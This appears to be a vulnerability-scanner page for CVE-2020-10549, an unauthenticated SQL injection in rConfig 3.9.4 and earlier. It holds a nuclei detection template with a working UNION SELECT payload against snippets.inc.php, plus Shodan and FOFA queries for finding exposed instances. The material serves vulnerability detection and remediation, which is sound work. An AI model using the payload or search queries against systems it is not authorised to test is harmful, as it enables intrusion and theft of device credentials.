rConfig <=3.9.4 - SQL Injection

criticalseverity

9.8CVSS score

32.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.

Fix

Upgrade rConfig to version >3.9.4 or apply the provided patch to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+…
Positive when: contains "[project-discovery]" AND status 200

Run it with nuclei: nuclei -id CVE-2020-10549 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-10549

info:
  name: rConfig <=3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade rConfig to version >3.9.4 or apply the provided patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10549.py
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10549
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10549
    cwe-id: CWE-89
    epss-score: 0.32124
    epss-percentile: 0.98328
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,sqli,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[project-discovery]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from